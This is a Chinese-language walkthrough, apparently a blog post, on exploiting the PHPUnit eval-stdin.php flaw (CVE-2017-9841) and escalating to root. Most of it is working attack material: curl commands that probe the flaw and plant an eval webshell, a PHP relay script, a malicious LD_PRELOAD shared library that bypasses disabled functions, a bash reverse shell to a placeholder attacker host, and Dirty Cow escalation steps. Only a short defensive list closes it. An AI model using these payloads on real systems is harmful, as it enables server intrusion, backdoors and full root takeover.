CVE-2017-9841到root提权
字数 959 2025-08-29 08:32:18
CVE-2017-9841漏洞利用与提权技术详解
漏洞概述
CVE-2017-9841是PHPUnit组件中的一个远程代码执行(RCE)漏洞,影响版本包括:
- 4.8.19至4.8.27
- 5.0.10至5.6.2
漏洞位于文件vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php,该文件未做任何过滤直接执行传入的PHP代码。
漏洞验证
使用curl命令验证漏洞存在:
curl --data "<?php echo(pi());" http://target/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
如果返回结果包含"3.14",则说明漏洞存在。
漏洞利用
1. 直接写入Webshell
如果当前目录可写,可以执行以下命令写入webshell:
curl --data '<?php file_put_contents("a.php", '\''<?php eval($_REQUEST[11]);?>'\'');' http://target/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
这将在当前目录创建a.php的webshell。
2. 使用中转脚本
如果目录不可写,可以使用菜刀中转脚本:
<?php
$webshell="";
$data = file_get_contents("php://input");
$data=substr($data,1);
$data=str_replace("%2F",'/',$data);
$data=str_replace("%2B",'+',$data);
$data=str_replace("%3D",'=',$data);
$data= "<?php ". $data;
echo $data;
$opts = array (
'http' => array (
'method' => 'POST',
'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .
"Content-Length: " . strlen($data) . "\r\n",
'content' => $data
)
);
$context = stream_context_create($opts);
$html = @file_get_contents($webshell, false, $context);
echo $html;
?>
权限提升技术
1. LD_PRELOAD提权
在目标系统禁用大部分命令执行函数的情况下,可以使用LD_PRELOAD技术绕过限制。
编译恶意so文件
hack.c内容:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("echo aaaaa> /tmp/abc.txt");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
编译命令:
gcc -c -fPIC hack.c -o hack
gcc -shared hack -o hack.so
使用PHP调用
<?php
putenv("LD_PRELOAD=/var/www/hack.so");
mail("a@localhost","","","");
?>
处理空格问题
如果命令包含空格,使用${IFS}代替:
system("/usr/bin/python${IFS}/tmp/1.py");
2. 自动化执行Python脚本
修改hack.c调用Python脚本:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("/usr/bin/python${IFS}/tmp/1.py");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
1.py示例内容:
import os
os.system("netstat -plant >/tmp/res.txt")
3. 反弹Shell
修改1.py实现反弹shell:
import os
os.system("bash -i >& /dev/tcp/attacker_ip/port 0>&1")
4. 使用脏牛(Dirty Cow)提权
- 在本地编译脏牛exp
- 上传到目标服务器
- 在反弹的shell中执行提权
注意事项
- 使用LD_PRELOAD技术时,每次刷新会创建新进程,可能导致大量僵尸进程
- 目标系统可能禁用某些函数,需要灵活选择利用方式
- 在LNMP环境下,许多命令执行函数被禁用,LD_PRELOAD是有效绕过方式
- 使用
${IFS}代替空格可以绕过某些限制
完整利用流程
- 扫描目标是否存在漏洞
- 验证漏洞存在性
- 写入webshell或使用中转脚本
- 上传编译好的恶意so文件
- 通过PHP调用触发so文件
- 使用Python脚本实现更复杂的操作
- 反弹shell获取交互式会话
- 上传并执行提权exp获取root权限
防御建议
- 升级PHPUnit到最新版本
- 删除或限制访问
eval-stdin.php文件 - 限制服务器目录写入权限
- 禁用不必要的PHP函数
- 定期检查服务器上的可疑文件
- 使用安全配置加固服务器